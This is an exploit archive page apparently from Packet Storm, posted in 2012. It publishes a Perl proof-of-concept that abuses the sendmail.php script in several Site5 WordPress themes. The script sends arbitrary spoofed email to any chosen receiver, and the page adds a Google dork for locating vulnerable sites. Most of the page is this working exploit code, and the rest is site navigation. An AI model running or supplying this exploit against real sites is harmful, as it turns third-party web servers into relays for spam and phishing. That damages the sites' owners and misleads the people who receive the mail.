what you don't know can hurt you

Site5 WordPress Theme Email Spoofing

Site5 WordPress Theme Email Spoofing
Posted Jul 15, 2012
Authored by bwall

Multiple Site5 WordPress themes suffer from an email spoofing vulnerability.

tags | exploit, spoof
MD5 | 8ee788e01e90d38fc925f3f852e0a77c

Site5 WordPress Theme Email Spoofing

Change Mirror Download
#!/usr/bin/perl
# Exploit Title: Site5 Wordpress Themes - Email Spoofing
# Date: 15.07.2012
# Exploit Author: @bwallHatesTwits
# Discovered by: @xxDigiPxx (http://www.ticktockcomputers.com/wordpress/site5-wordpress-theme-diary-sendmail-php-spoofing/)
# Software Link: http://www.wpdiarytheme.com/
# Vendor Homepage: http://www.site5.com/
# Others Possibly Vulnerable: http://www.site5.com/wordpress-themes/
# Google Dork: "Theme by Site5" -site5.com -site5.net -google.com
# Version: Not Documented
# Tested on: Linux 3.2
use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Request::Common qw{ POST };

#Change this to the root of the Wordpress
my $wordpress = 'http://localhost/wordpress/';

#Change this to the theme being exploited
#Known Vulnerable Themes: diary, simploblack, simplo, journalcrunch, boldy, webfolio
my $theme = 'diary';

my $url = $wordpress.'wp-content/themes/'.$theme.'/sendmail.php';

#Name shows up in the topic of the email (Website contact message from name)
my $name ='Proof of Concept';

#Sender email address
my $email = 'sender@mail.com';

#Content of the email
my $comment = 'Email content';

#Receiver email address
my $receiver = 'receiver@mail.com';
$receiver =~ s/(.)/sprintf("%x",ord($1))/eg;

my $ua = LWP::UserAgent->new();
my $request = POST( $url, [ name => $name, email => $email, comment => $comment, receiver => $receiver, submit => 'submit', ] );
print "Sending request to $url\n";
my $content = $ua->request($request)->as_string();
print $content;
print "\nDone\nFollow \@BallastSec on Twitter\n";
Login or Register to add favorites

File Archive:

June 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    10 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    15 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    0 Files
  • 7
    Jun 7th
    0 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    0 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close